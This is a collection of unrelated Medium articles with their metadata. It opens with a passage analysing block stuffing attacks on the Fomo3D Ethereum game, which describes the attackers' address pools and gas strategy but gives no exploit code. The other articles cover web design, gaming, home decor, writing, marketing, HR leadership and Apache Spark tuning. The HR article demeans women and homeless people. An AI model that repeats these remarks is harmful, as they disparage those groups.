The gas limits for these two block stuffing transactions are 4,000,000 and 160,000, respectively. After the execution, both transactions have some gas remained. This is exactly the behavior specified in the source code: the loop for “useless” operations stops when the remaining gas is less than or equal to 200 units. From that point to the complete termination of the execution, a small amount of gas is further consumed, thus, the remaining gas after transaction termination is around 90 units.
The differences in gas limits for these two block stuffing transactions may imply that the attackers could use some kind of gas allocation strategy when launching attacks.
So, let us look at block stuffing transactions in other blocks. Here is information on block 6507769.
Block Height: 6507769
Timestamp: 360 days 10 hrs ago (Oct-13-2018 02:12:21 PM +UTC)
Transactions: 2 transactions and 0 contract internal transaction in this block
Mined by: 0xea674fdde714fd979de3edf0f56aa9716b898ec8 (Ethermine) in 3 secs
Block Reward: 4.900369914983998254 Ether (3 + 1.900369914983998254)
Uncles Reward: 0
Difficulty: 3,127,715,045,938,453
Total Difficulty: 7,198,871,906,568,473,990,434
Size: 880 bytes
Gas Used: 7,999,806 (100.00%)
Gas Limit: 8,000,029
Extra Data: ethermine-eu5 (Hex:0x65746865726d696e652d657535)
Hash: 0x7a40c3f860c33e812cbbf05ca310d043620da3410ccf8a34b16f8bbaafdfebbd
Parent Hash: 0x7d28c9df1507a77606bd0efe0cdb631e89772a64a4ff9ff86574bb0992d4d43c
Sha3Uncles: 0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347
Nonce: 0x62e0e10305da2970
It is amazing that block 6507769 contains only two transactions and both transactions are used for block stuffing.
transaction sender gas limit gas used
0x7002b16f4a1df50cc0aff49c2012e4fd3348cd69 4,000,000 3,999,903
0x93a86432120efd7ad651aac017089a455f4feba6 4,000,000 3,999,903
total 7,999,806
First, the senders of these two transactions are different from those in block 6507768, implying that the attackers in fact employ a pool of addresses to launch the attacks at the same time.
Next, the fact that both transactions have the same gas limit 4,000,000 also indicates that multiple transactions are assigned the same gas limit when firing the attacks.
Here is the information about block 6507770.
Block Height: 6507770
Timestamp: 361 days 6 hrs ago (Oct-13-2018 02:12:25 PM +UTC)
Transactions: 3 transactions and 0 contract internal transaction in this block
Mined by: 0x829bd824b016326a401d083b33d092293333a830 (F2Pool) in 4 secs
Block Reward: 4.900334519727997405 Ether (3 + 1.900334519727997405)
Uncles Reward: 0
Difficulty: 3,129,250,840,485,319
Total Difficulty: 7,198,875,035,819,314,475,753
Size: 1,054 bytes
Gas Used: 7,999,657 (100.00%)
Gas Limit: 8,000,000
Extra Data: 七彩神仙鱼 (Hex:0xe4b883e5bda9e7a59ee4bb99e9b1bc)
Hash: 0x11481fbba3bd5346eb4facef04816677244978c6fd95f6080ce5bb1bebdeeea5
Parent Hash: 0x7a40c3f860c33e812cbbf05ca310d043620da3410ccf8a34b16f8bbaafdfebbd
Sha3Uncles: 0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347
Nonce: 0xf600b9300354c9a1
There are only 3 transactions in block 6507770, all of which are for block stuffing purpose.
transaction sender gas limit gas used
0xac18f6940497e0a3a64ead795556fdc32d031fcc 2,000,000 1,999,877
0x19005a1f86c4d3c879bdb20864f54c6382e55b48 2,000,000 1,999,877
0xfb3565bd9493ac2e5c75ad24124c82252fa8fd4e 4,000,000 3,999,903
Similar to block 6507769, the number of block stuffing transactions is 2 in blocks 6507771 and 6507772.
The final block that is subjected to block stuffing attacks is block 6507773. In block 6507773, there are 6 block stuffing transactions which are shown below.
transaction sender gas limit gas used
0x7002b16f4a1df50cc0aff49c2012e4fd3348cd69 4,000,000 3,999,903
0xac18f6940497e0a3a64ead795556fdc32d031fcc 2,000,000 1,999,877
0xae51246e1c103048f661c279db6bd83cb7dfd512 1,000,000 999,885
0xab8b5004f25dbc28d48dbfa6d9ea0f414b7f0ac8 500,000 499,875
0x0cf30b42b7e985f5c05796d56b336f475fdbec0b 160,000 159,913
0x24fe5a20e7321c6f1e33d542b295e1e23e89cb16 160,000 159,913
total 7,987,417
All these further confirm that the attackers divide gas limits into different levels and for each level of gas limit, multiple transactions are generated when launching block stuffing attacks. Also, in order to increase the success probability for block stuffing, a large pool of accounts (i.e., addresses) is utilized.
All block stuffing transactions look similar except differences in gas limit and gas price. So, let us just review one block stuffing transaction in details.
Transaction Hash: 0x17246022cbfea3f10720d123386332c2b11282f156630650558fdcc3835b879b
Status: Success
Block: 6507773 2196679 Block Confirmations
Timestamp: 360 days 10 hrs ago (Oct-13-2018 02:12:41 PM +UTC)
From: 0x7002b16f4a1df50cc0aff49c2012e4fd3348cd69
To: Contract 0xdcc655b2665a675b90ed2527354c18596276b0de
Value: 0 Ether ($0.00)
Transaction Fee: 1.70400948536789 Ether ($310.06)
Gas Limit: 4,000,000
Gas Used by Transaction: 3,999,903 (100%)
Gas Price: 0.00000042601270215 Ether (426.01270215 Gwei)
Nonce Position 36 5
Input Data:
0xa4e62fc3
00000000000000000000000000000000000000000000000000000000050d95e9
0000000000000000000000000000000000000000000000000000000000000000
This transaction invoked the function blockStuff(), which has function selector 0xa4e62fc3, to launch a block stuffing attack. The function takes two arguments: _timestamp and _roundEnd. Here, the _timestamp is 84776425 (0x50d95e9) and _roundEnd is set to 0.
It is clear that the status of the transaction is “success” and it is quite contrary to that of block stuffing transactions in rounds 1 and 2, which all have status “fail”.
The gas limit is not used up by the transaction, although the gas left is extremely small. That is also quite different from that in rounds 1 and 2.
The gas limit for the transaction is 4,000,000 and the gas price is 426.01270215 Gwei. After the execution, the gas consumption is 3,999,903 units. As both gas limit and gas price are extremely high, the transaction fee is also high, 1.70400948536789 Ethers.
In contrast, a non-block stuffing transaction destined to the same contract, contract_dcc6, has a much lower transaction fee. Let us take a transaction in block 6507774 as an example.
Transaction Hash: 0x4fc5122b64ed5ecc342f8a27bd2d03cc5038994064ef9c7ced7aeaf4c68f267c
Status: Success
Block: 6507774 2202331 Block Confirmations
Timestamp: 361 days 7 hrs ago (Oct-13-2018 02:12:45 PM +UTC)
From: 0x9dff772bd890973472aabbc7028b3e4a8c48593c
To: Contract 0xdcc655b2665a675b90ed2527354c18596276b0de
Value: 0 Ether ($0.00)
Transaction Fee: 0.01351628204938 Ether ($2.59)
Gas Limit: 4,000,000
Gas Used by Transaction: 30,977 (0.77%)
Gas Price: 0.000000436332829176 Ether (436.332829176 Gwei)
Nonce Position 48 0
Input Data:
0xa4e62fc3
00000000000000000000000000000000000000000000000000000000050d95e9
0000000000000000000000000000000000000000000000000000000000000000
The setting of this transaction is exactly the same as that of the block stuffing transaction shown above. However, because the conditions for block stuffing attack are no longer met at this point of time, the transaction does not trigger the block stuffing attack. Thus, the entire logic of block stuffing is bypassed, and the transaction fee is therefore low: 0.01351628204938 Ethers. Although it is still very high due to its high gas price, but it is much lower than 1.70400948536789 Ethers, the transaction fee for a block stuffing transaction.
Finally, let us take a look at the transaction that withdraws the prize by the winner.
Transaction Hash: 0xd7e70fdf58aca40139246a324e871c84d988cfaff673c9e5f384315c91afa5e4
Status: Success
Block: 6507786 2201108 Block Confirmations
Timestamp: 361 days 2 hrs ago (Oct-13-2018 02:14:45 PM +UTC)
From: 0xaf492045962428a15903625b1a9ecf438890ef92
To: Contract 0xa62142888aba8370742be823c1782d17a0389da1 (Fomo3D: Long) TRANSFER 376.982073789705339927 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xaf492045962428a15903625b1a9ecf438890ef92 Value: 0 Ether ($0.00)
Transaction Fee: 0.000196479711 Ether ($0.04)
Gas Limit: 1,000,000
Gas Used by Transaction: 32,763 (3.28%)
Gas Price: 0.000000005997 Ether (5.997 Gwei)
Nonce Position 5712 86
Input Data: Function: withdraw()
MethodID: 0x3ccfd60b
The total amount of money withdrawn by the attacker is 376.982073789705339927 Ethers.
With that, the third round of Fomo3D game ended and another round of the game began.
Life with block stuffing attacks still goes on.
References | https://medium.com/@zhongqiangc/block-stuffing-fomo3d-part-3-bde3671482a4 | ['Zhongqiang Chen'] | 2019-10-09 21:59:07.573000+00:00 | ['Ethereum Blockchain', 'Fomo3d', 'Block Stuffing Attack', 'Storage Refund', 'Cryptosecurity'] |
Univers Labs Web Design Guide | Univers Labs Web Design Guide
How to Design for Univers Labs and Ensure that your
Digital Designs are Developer Ready
Following over 300 digital design and development projects, we have compiled our experience into this guide to ensure that your designs are fit for the web and look amazing when finally built. This is the very same guide that we use internally at Univers Labs to ensure that our designers produce the highest quality and efficient projects.
Guide Contents 📕
Key Points Design Software Break Points & Safe Areas Design Annotations Components & Style Guides Content Fonts Assets Layout Modules Developer Ready Design Checklist Useful Resources
Key Points 🏹
Designs should be completed in UX/UI software such as Adobe XD or Figma.
All designs must be optimised for the breakpoints and safe zones .
be optimised for the breakpoints and . Take note of the highly important content guidelines.
Check our designer checklist for elements that must be designed for the web.
Make use of master components and component states inline with the atomic design paradigm
Design Software ✏️
We recommend completing designs in Adobe XD. Adobe XD is fit specifically for designing digital UX. It makes working on a project dramatically easier and ensures that what you design can be built to the highest-quality standards.
Software
Status
Notes
Adobe XD
✅ Preferred
Figma
🆗 Alternative
Prototyping is not as efficient
Sketch
😒 Not advised
We don’t like it as much 🙃, developer tools not as useful
Adobe Illustrator
😒 Not advised
Buggy, causes fractional pixels, designed for illustrating.
Adobe InDesign
⛔️ Banned
Not fit for professional developer ready designs.
Designed for print publications and typography.
Photoshop
⛔️ Banned
Not fit for professional developer ready designs.
Designed for photo/bitmap post-production.
Breakpoints & Safe Areas 📐📱 💻 🖥
Designing for the web is challenging because of resolution management across multiple and changing mobile, laptop and desktop resolutions. At Univers Labs, we support five device categories in our project proposals/contracts. To ensure the websites we build look great across all of these devices, we use designs that are optimised for three breakpoints with responsive scaling in between breakpoint widths.
Feel free to use our pre-made Adobe XD Templates which are already correctly setup.
UL Breakpoints v1.4 21st July.xd
Please ensure you check and confirm the proposal/contract for the supported breakpoints. Some contracts may offer more than three breakpoints as per our extended Full Breakpoint Table.
Please ensure your design files art boards are set to the above dimensions and that you are using guides or layout grids so that designs are optimised for the safe areas.
Design Annotations 📝
Where necessary, you should annotate your designs to indicate anything that isn’t shown. You can add these annotations on another layer.
These annotations could highlight:
Animations (Speed, curves etc, example After Effects is acceptable. Even something like “fast and flashy, gentle and delicate, subtle, not subtle”)
Show / Hide functionality
How the design should scale on different screen sizes
Where something is a button and what it should do.
Anything else you think is worth noting
Rollovers / other states
Style Guides 🎨
Make use of XD’s or Figma’s master component system and states to ensure consistency of reused elements throughout your design. It’s likely you’ve designed with a set, it is helpful for us if you have a separate art board that shows all of these styles. It should show:
Content
Content Plan
Ensure you have a good understanding of the content plan for the project you’re working on. An initial content plan is usually provided shortly after a project kick-off with the end client. It should contain:
Sitemap Audiences Summary list of content for each page Functionality for each page Examples, references, and notes
Our Content Process
At Univers Labs, the content process is a two-way street. We collaborate with strategising and advising a client on the best way to present content throughout a site or app via the following process:
Realistic Content
To ensure our designs can be properly reviewed and tested we must ensure designs use content that is either from:
Worst Case Content
Make sure that the content used fits a “worst case” scenario: If you feel a section will need a lot of text from a client, ensure that it works with a lot of text. If the content plan says we are bringing content over from an existing website’s blog, try and identify the “worst-case” content. Lots of formatting, images, text, etc and try to fit it in to your designs. This will save headaches later on in the process.
Content Constraints
Where you advise limitations and rules to content within your designs, you should configure text and image box constraints in your design software and make sure you annotate these.
Visual Content
You should use client on-brand and relevant imagery or industry applicable stock photos (unsplash is a good source). Photos of Cats (whilst utterly wonderful) are not appropriate. Take a moment to do image searches for contextually relevant images. Try to ensure these are in the public domain and available for reuse.
Fonts 🔡
Make sure that all fonts used in your designs are able to be used on the web as webfonts. In the first instance, you should check the following sources for the font and if it is available as a webfont.
Google Fonts
Adobe Fonts
If a font a designer wishes to use is not available on these sites, we ask that they contact us before using the font as we will need to procure it correctly.
Assets 💾
Ensure that you mark assets (icons, logos, images) in your design as being exportable from your design software. In XD this can be done by selecting “Mark for Export” on the objects.
If you are providing bitmap (photo, pixel) assets, you should make sure that they are at least 144dpi for use on Retina displays.
Layout Modules
For web design, Univers Labs always uses layout modules via a CMS. This means that the design is broken into distinct design elements that logically can be reused throughout a website. This allows our users to create new pages easily from a library of layout modules, giving them the flexibility to expand and adapt their website.
When designing layout modules, keep in mind the following points:
At Univers Labs, layout modules need to work across our minimum three standard breakpoints. Layout modules should be designed to work and look good in any combination with other layout modules. To ensure a consistent experience and design, layout modules should be made up of reusable component instances as per the Atomic Design Methodology.
Univers Labs Developer Ready Design Checklist ☑
Designs have been reviewed by a developer and 2nd UX designer for checking fitness for development ™️ Favicon is designed 🍪 Has the client supplied an up to date and GDPR compliant Cookie Policy and Privacy policy documentation? Can this be designed for all breakpoints? If not why and how can we make it so it can? 📝You have provided annotations for design details such as responsive and interactive behaviour. 📱💻 Ensure that all art boards are available in one XD/Figma file per page template with corresponding breakpoints art boards next to each page/ screen art board. 💾 Assets such as icons and illustrations are marked for export Content meets the requirements set out in this guide 🔍📐 Have you checked your design safe areas for each breakpoint? 📱Does mobile look useable on landscape? If not what should change?
Useful Resource Links
Unsplash
High quality, royalty free stock imagery
ICONS8
Premium icons, product level more so than the free noun project
Dribbble
Useful UI inspiration
The Noun Project
Library of icons with royalty free use
Google Fonts
Adobe Fonts
Web font libraries
Atomic Design Methodology
Design system for modern digital applications such as web, apps and software | https://medium.com/universlabs/univers-labs-web-design-guide-89e0c11b3de6 | ['Univers Labs'] | 2020-08-25 16:04:10.614000+00:00 | ['Web', 'Design', 'Digital Development', 'Digital'] |
Five Dates Game: A Stimulation Of what we will be? | source: Photo by Alexander Sinn on Unsplash
The pandemic period had occurred, and we’re trying to understand the new ‘normal’ all around the world. I won’t talk about psychological results; there are tons of articles/stories on this topic. I’ll try to analyze what’s happening in our lives. How will the pandemic period change the gaming sector?
source: Photo by Chris Carzoli on Unsplash
I have been playing various games for more than two decades — horror, adventure, erotic or scientific-. Virtual reality made me worry about our future, even before the pandemic period. Since the last quarter of 2019, we have been living an isolated life. There won’t be a peaceful home. Also, we have discussed whoever we live.
source: Photo by Uriel Soberanes on Unsplash
Privacy or New ‘Normal’ Game dev?
As I had searched about gaming in every aspect, I thought there wouldn’t be any update to surprise me. Last year, people asked how they could keep privacy while using applications and business activities. Some people deleted Facebook accounts, etc. Duckduckgo search, invisible mode features were very vital and popular.
However, developers worked with real people through the new character process; they hadn’t requested their private life. Maybe you might have cried about Ellie in last of us part II, but she was a fictional character like Joel.
After the last of us part II gameplay, I cried, too. I know it’s not real. Somebody wouldn’t control the feelings all the time — the game developed by green box technology. Probably, models played the scenario, and developers created its ecosystem like various zombies. Even ıf you know all the things are fiction, you may cry.
I think there won’t be any privacy issues, especially under those circumstances like pandemic psychology. We are living under strict isolation until the light at the end of the tunnel.
Before the five dates game, the companies have sold dating apps. People could talk to each other. Moreover, they tried those applications. If the system’s up to change society, it’ll happen step by step.
Real people played the scenarios, and each player has to choose the right answer. Interestingly, there’s no customization throughout the gameplay. I have expected to get more options.
LGBTQ choice: can you choose it?
source: Photo by Teddy Österblom on Unsplash
The world we know and choose a heterosexual relationship. I respect every person with ideas and choices. If you create a dating game with real people, why can’t you select a lesbian or gay partner?
Ancient Philosophy had changed society, ethical ideas, etc. I thought about why it was precious to most of the leaders. As gender wasn’t necessary for ancient greek culture, you could be a gay partner. If you have chosen a wife to give a child, it wouldn’t matter to society.
If we live in the knowledge/information century, game-changers have changed. We used to see blue-haired anime characters in the ’90s; however, my friends choose that color right now.
To sum up the issue, we are changing even we haven’t requested it. Developing a game is a critical factor in changing ideas about privacy, dating, isolation, and pandemic. Five Dates game is the beginning of the path. I wonder how far it will go on privacy rights. | https://medium.com/an-idea/five-dates-game-a-stimulation-of-what-we-will-be-9a123a93f726 | ['Kemal Karataş'] | 2020-12-02 15:00:52.443000+00:00 | ['Gaming Articles', 'Pandemic Diaries', 'Privacy', 'LGBTQ', 'Dating'] |
Let’s Take a Look at the Art of Home Decor! | Let’s Take a Look at the Art of Home Decor!
Interiors might make your house look aesthetically pleasing, but home decor takes it to the next level. Here’s to know more about it. Habbit Sep 7·4 min read
Image credits: freepik
If you spend hours scrolling through home decor reels on Instagram and your Pinterest is filled with pictures of aesthetic interiors, it means you are adulting. The day you move into your own space, you get the freedom to decorate it with anything and everything you’ve ever wanted. It could be something as simple as a photo wall or as big as a lounge chair. It becomes your sanctuary, a place to turn to after an exhausting day at work. Sitting under the dim fairy lights binging on your favorite Netflix show has the power to turn your mood around, making you feel better.
The art of home decor allows you to create a space where you can find solace, no matter what’s going on in your life. The way you adorn your house speaks volumes about your personality. For instance, as an introvert, you might set up a coffee table near your bookshelves to enjoy books at leisure. And if you are an extrovert who likes to have people over, you might try to make the place accommodating for others, like adding more chairs or cushions. Also, who doesn’t love compliments?
Image credits: freepik
Spicing up your boring old house design can uplift your spirits. It affects your mental health and well-being. It adds a real homely feel to the place and helps you relax. Even the color scheme you choose and the plants you put around the house can cheer you up.
How: Set a couch in your living room. It could be a second-hand sofa you bought at a thrift store or a spare from your parent’s house. Remember, home decor is not always about expensive or fancy Ikea furniture. Place a throw blanket on the couch for you to have a hot cup of coffee there every morning. It’s a relaxing feeling, isn’t it?
Image credits: freepik
There was a time when we used to come home just to sleep, but now, thanks to the pandemic, we have to stay in 24x7. Shots of your work-from-set up with a cute plant in the corner have taken over pictures of fancy vacations and club hopping on the weekends. Believe it or not, the decor at your house affects your productivity at work.
How: Rather than working from the bed, invest in some work from home furniture. A table with cabinets and a comfy chair to keep your back straight at work. As we’ve said earlier, add a cute plant on the side, a fancy calendar, or a notebook to note down your tasks for the day. Even a lamp would add to the aesthetics of your room and inspire you to work. It will increase your focus, thereby improving your workplace productivity.
Image credits: freepik
When it comes to home decor, how can we forget the heart of the house, the kitchen? Your house is a reflection of who you are. The clutter says you are a laid-back person, while a clean kitchen is a signifier of an immaculate and elegant person. It’s okay if you don’t believe in appearances. But a little makeover never hurts. It can change the whole vibe of your kitchen, and who knows might inspire you to cook more often rather than depending on takeouts.
Solution: Place small flower pots near your kitchen window. You can color them in different colors to make them look pleasing. Once you start traveling again, bring back magnets to place on your refrigerator. Also, you can change the lighting in the kitchen.
As humans, we are hard-wired to resist change, but a change in our house design and decor seldom evokes negative emotions. This change doesn’t have to come from knocking down the walls. Sometimes a few home decor items can turn the place around, even better than a full-fledged renovation could have done. It can make your home stand out and make it your sanctuary you’d never want to leave. The only thing to remember is to be as creative as possible.
Image credits: freepik
The festive season is approaching soon and like last year, the celebrations are going to be minimal. Read this blog to find out 5 DIYs to decorate your home. If you want to take your journey into Home Decor, check out Habbit’s Home Decor classes by Zinal Mehta, a professional Architect, and Interior Photographer! Learn to create a backdrop, style your balcony, upcycling, and achieve your best corner at home with Habbit. | https://medium.com/@habbit/lets-take-a-look-at-the-art-of-home-decor-and-understand-its-importance-69bb301f364f | [] | 2021-09-09 06:04:11.703000+00:00 | ['Home Decor Tips', 'Home Décor', 'Home Decor Online', 'Home Decor', 'Home Decor Ideas'] |
The Perfect Writing Setup | The picture above was the perfect writing setup for me, or what I thought it was going to be. I longed for a Logitech MX Performance wireless mouse and a matching black and gray extended Apple Magic Keyboard.
I also found a Roost stand that Tim Ferriss shared on his 5-Bullet Friday newsletter. It was the perfect stand to make my laptop screen more ergonomically friendly without needing a bulkier stand or an expensive monitor to attach my laptop too.
My wife and I moved to a new house on the 1st of the year, and, with this new home, we now have another room that is separate from the house that we plan to use as an office.
So I took the opportunity to make the office mine by buying the things I felt would help me write more. Not only did I hope the utility of these items would help my writing, but I hoped it would also encourage me to sit in my chair more and write.
It did the opposite.
What I realized is that my perfect writing setup isn’t a “setup” at all. I like to write everywhere. I like to write on my phone while on a walk, I like to write on my laptop on the couch on a lazy Saturday afternoon, I also like to write in coffee shops, libraries or just outside on a chair.
And occasionally, I will also write in my office but not always and now that I understand this, I know that I could never have a perfect writing setup in just one place. My favorite writing place is where I feel like writing at that time. By trying to force myself to just write in one place prevented me from wanting to write at all.
Having spent all that money on new gear for my desk, I felt terrible wanting to take the laptop to the coffee shop with me. Or to bring it into the house and write at our dining room table. I needed to justify my purchase of buying these items for my setup by leaving my laptop in the office and only writing there.
So I returned it all. The stand. The mouse. And the keyboard. | https://techuisite.com/the-perfect-writing-setup-b20043575255 | ['Paul Alvarez'] | 2020-01-14 20:57:15.654000+00:00 | ['Opinion', 'Gadgets', 'Writing', 'Procrastination', 'Technology'] |
Advertising to Facebook “Fans” Alone Contradicts Marketing Theory | Not only does this mean that a very few people are seeing a brand’s content, but those exposed to this content are only the page “Likes” or, as we used to call them, Facebook ‘fans’.
This implies that many marketers believe there’s value in consistently publishing content for their social fan community alone — essentially, driving business results through a loyalty approach.
The problem is, we know loyalty campaigns (across any channel) have consistently proven ineffective at driving brand growth.
Penetration Campaigns outperform Loyalty Campaigns, every time.
In the 880 cases analyzed from the IPA databank by Les Binet & Peter Field in 2007, the percentage of cases that reported “very large” business effects (sales, market share, penetration, loyalty, price sensitivity, or profit) for loyalty campaigns was only 44%, while penetration campaigns had an effective success rate of 77% for the metrics outlined above. | https://medium.com/comms-planning/speaking-to-your-facebook-fans-contradicts-marketing-theory-1888b234bc98 | ['Alysha Lalji'] | 2016-10-10 20:55:17.506000+00:00 | ['Marketing', 'Social Media', 'Facebook', 'Facebook Marketing', 'Advertising'] |
Do people want to be CHROs? | In a new article on Harvard Business Review, there’s a funny story about the concept of a Chief Human Resources Officer:
Lucia Luce Quinn is Chief People Officer at Forrester Research. Earlier in her career, she left a position as SVP of business development and emerging businesses to join Boston Scientific in a senior line job. Upon arriving, she flatly refused the CEO’s offer of the CHRO role. He had to ask her four more times, including once on a conference call with the whole executive team, before she finally relented.
Basically, this woman turned down a Chief Human Resources Officer role four-five times, including once when she was backed into a corner on a conference call (classy play by that CEO, as an aside). Why? In her words: she thought she must have done something wrong.
This is logical. Companies care about making money, predominantly. Human Resources does not make money on face. So why would a hard-charging executive want to run that team?
Plus: HR has a bad rap at most companies. It’s often not empowered to do anything, and usually it creates more impediments to stuff getting done than it does solve problems. At most companies, execs barely care about the department — until they need a rival forced out the door, of course.
But what if being a Chief Human Resources Officer could be a strategic value-add?
The rise of the Chief Human Resources Officer
I guess this is the simplest way I could explain this:
Most companies focus intensely on process and product.
They tend to view people as replaceable.
In 100 years, who knows? There might be about 30% of jobs for people available as there are now. But it’s not 100 years from now. It’s today! And because people still work in organizations — in fact, bureaucracy is exploding — we should care about people more. We should optimize them to do the best they can for themselves and the company.
This would all come from the “shop” of a Chief Human Resources Officer.
In that way, it could be a super-strategic role. Think on stuff like:
How will promotions work?
What will we do about salaries and reporting?
How can we optimize the hiring process?
What’s our succession plan?
How can we get more out of the top employees?
What are we doing to make managers more effective?
All those things matter — and a lot. They actually matter more than “What’s our unit cost on this widget?”
What normally happens, though
Some organizations are forward-thinking and have the Chief Human Resources Officer doing those things.
Most, though:
Barely acknowledge HR’s existence
Only kick it “hair-on-fire” or “cover-your-ass” projects
Use it as an internal cop
Staff it with hot 20-something women
If those bullet points are how your org treats HR, then you can go get a homeless person and make them Chief Human Resources Officer. It won’t make a difference. You could honestly just outsource the function at that point and it would be exactly the same.
Last FT job I had the HR team was 3–4 people, and the Chief Human Resources Officer had a title like “Chief Organizational Evangelist” or some bullshit. Best I could tell, she (a) spent 2 weeks once hiring a nanny for the CEO and (b) ran point on some annual employee survey that the rest of the executive team subsequently completely ignored. She probably made a solid $150,000 for that. Fun times, yea?
What you do with your people is, by definition, strategy. So yes, a Chief Human Resources Officer can be a strategic role. In fact, it must. | https://medium.com/@tedbauer2003/do-people-want-to-be-chros-c57029db4df4 | ['Ted Bauer'] | 2020-12-03 13:12:01.383000+00:00 | ['Future Of Work', 'HR', 'Work', 'Human Resources', 'Management And Leadership'] |
Apache Spark Internals: Tips and Optimizations | Introduction
The goal of this post is to dig a bit deeper into the internals of Apache Spark to get a better understanding of how Spark works under the hood, so we can write optimal code that maximizes parallelism and minimized data shuffles.
This is an extract from my previous article which I recommend reading after this one. I assume you already have basic knowledge of Spark.
Spark Optimizations
In Spark you write code that transform the data, this code is lazy evaluated and, under the hood, is converted to a query plan which gets materialized when you call an action such as collect() or write(). Spark divides the data into partitions which are handle by executors, each one will handle a set of partitions. Operations that are executed within a single partition are called narrow operations and include functions such map() or filter(). In the other hand, aggregations are wide operations that require moving the data across nodes which is very expensive. The query plan itself can be of two major types: a logical plan and a physical plan which we will discuss later.
Remember, the main rule regarding Spark performance is: Minimize Data Shuffles. This is caused by wide operations in Spark such joins or aggregations which are very expensive because of the data shuffle.
Wide vs Narrow Dependencies. Source: https://medium.com/@dvcanton/wide-and-narrow-dependencies-in-apache-spark-21acf2faf031
Always try to reduce the number of data shuffles, actually, the goal of most of the optimizations that we are going to talk, is to try to do this: reduce the amount of data sent over the network.
Let’s now review some of the optimizations…
Filter Early
This is really simple but very important. Filter the data as early as possible so you don’t process data that will be discarded later on. The more you can push filters down to the source, and particularly where you can limit queries by partition key, the better. When possible, specify all the components of the partition key in the filter statement. Also, if you are going to use a set of data from disk more than once, make sure to use cache() to keep it in Spark memory rather than reading from disk each time.
A good rule of thumb is to use the coalesce() method after filtering data to reduce the number of partitions.
Spark Partitions and Spark Joins
This is critical in Spark, I really recommend this article where it explains the different optimizations in detail.
Set the right number of partitions
You need to set the right number of partitions to maximize parallelism in your cluster. If you have too few partitions then you will not be utilizing all cores available in the cluster and wasting resources. Having too many partitions will cause an excessive overhead in managing many small tasks as well as data movement reducing the performance.
The general recommendation for Spark is to have 4x of partitions to the number of cores in cluster available for application, but of course, this will depend on your use case. When in doubt, it’s a good idea to be wrong on the side of a larger number of tasks. This needs to align with the number of executors and the memory per executor which we will review later.
Avoid Data Skew
In general, you want your data to be evenly distributed across all the nodes, this is specially important when performing joins. Your join keys should have a even distribution to avoid data skews. Skewed data leads to performance degradation of parallel processing or even OOM(out of memory) crashes and should be avoided.
You can diagnose data skewness of your data by looking at the Spark UI and checking the time spent on each task. If one or more tasks are taking longer than the others, you have unbalanced partitions.
Some solutions may are:
Repartition data on a more evenly distributed key. This is the preferred option, use a key that naturally distributes the data across partitions before performing any wide operation.
on a more evenly distributed key. This is the preferred option, use a across partitions before performing any wide operation. Use salting which synthesizing an additional random key for better distribution of the data.
which synthesizing an additional random key for better distribution of the data. Split data into skewed and non-skewed data and work with them in parallel by redistributing skewed data.
and work with them in parallel by redistributing skewed data. If one of the data sets to join is small, like a fact table, use broadcast variables which we will discuss later on. This is useful to do lookups on fact tables.
which we will discuss later on. This is useful to do lookups on fact tables. Use broadcast joins when joining two data sets and one is quite small, this has the same benefits as broadcast variables. A more advanced feature is iterative broadcast joins where we split the data and do many small broadcast joins instead of a bigger one.
Let’s have a look to broadcast joins a it more in details…
Spark Joins
By default, Spark user Sort Merge Join which works great for large data sets.
Sort Merge Join. Source: https://towardsdatascience.com/the-art-of-joining-in-spark-dcbd33d693c
The idea is to sort the partitions before the join to reduce the amount of data shuffle, however sorting is itself an expensive operation, the performance of this join will change greatly depending on the source data on both sides of the join, if the data is already shuffled it is very fast, if not, Spark will need to perform an exchange and sort, which causes a data shuffle.
Sort merge join when exchange is required. source: https://towardsdatascience.com/should-i-repartition-836f7842298c
This Join technique works great when both data sets are large but when you join a table with a small fact table, then the advantages are lost. In this case, and specially if you have a cluster which has enough RAM available, you can use broadcast joins.
Broadcast Joins
In the case of broadcast joins, Spark will send a copy of the data to each executor and will be kept in memory, this can increase performance by 70% and in some cases even more. The concept of broadcast joins is similar to broadcast variables which we will discuss later, however broadcast joins are handled automatically by Spark, all you need to do is tell Spark which table you want to broadcast:
df = fact_table.join(broadcast(dimension_table), fact_table.col("dimension_id") === dimension_table.col("id"))
Note that when using broadcast joins the data is shared between the cores, but each executor will have its own copy, hence balancing cores and executors is important and we will discuss this later.
For more information about Spark joins check this article.
Repartition before expensive or multiple joins
The repartition() method allows us to change the distribution of the data on the cluster. This will cause data shuffle which is expensive but it will improve performance if done before certain types of joins or before multiple joins, as long as you specify the column name. As we seen before, Spark needs to be aware of the data distribution to make use of it before the sorted merge join. This can be done using the bucketing which is storing the data in a pre-shuffled and possibly pre-sorted state where the information about bucketing is stored in the metastore. But even if your data is sorted and already shuffled on disk for one of the tables, Spark will not know about it and still do a re sorting and full shuffle of both tables. This is why repartition your data to match the partitions of one side of the join is needed and can reduce data shuffle so only one side(table) of the join is distributed over the network. The idea is that by specifying the column, Spark under the hood adds metadata to the logical plan so it knows that it does not need to move the data. For example, if one table is partition by ID into 100 partitions. By re partitioning the data you avoid data shuffle:
df.repartition(100, "id").join(..., "id")
The goal is to have the same number of partitions on both sides of the join to avoid data exchanges. Data shuffle will also occur if the number of partitions differ from this property:
spark.sql.shuffle.partitions // default 200
which controls the number of partitions during the shuffle, and used by the sort merge join to repartition and sort the data before the join. I really recommend reading this article which goes more into details on how joins and data partition work.
A good rule of thumb is to try to re partition before multiple joins or very expensive joins, to avoid sort merge join re shuffling the data over and over again.
If you need to decrease the number of partitions, use coalesce instead of repartition() method, because it minimizes data shuffles and doesn’t trigger a data exchange. After a filter remember to use coalesce(), because you will have less data and this is much more efficient than repartition() since it minimize data shuffle. Also, always persist or cache your data after re partition to minimize data shuffle. But be remember that repartition is itself an expensive operation, it moves the data all over the cluster, so try to use it just once and only when completely necessary; and always remember to do narrow operations first.
It is important to remember that some wide operations like group by, change the number of partitions.
Repartition before writing to storage
It is always a good idea to write your data in a way that is optimized to read. In HDFS you want to use a columnar format such Parquet to increase performance of read operations when performing column based operations. I talked about this in this article. The idea is that if you create partitions using a the right folder structure, then the read operations do not need to scan all the data in disk but just the folders/partitions specified.
You can partition your data on write using:
df.write.partitionBy('key').json('/path...')
By storing data in different folders, query engines can skip large amounts of data scan from disk, increasing the read performance. For example, in Spark SQL, if you partition by date, if you specify a date in the where clause, then only one folder is read, instead of the whole data set, so the query will take less than a second instead of minutes.
If the folder structure is like this:
/mydata/2020-02-02/...
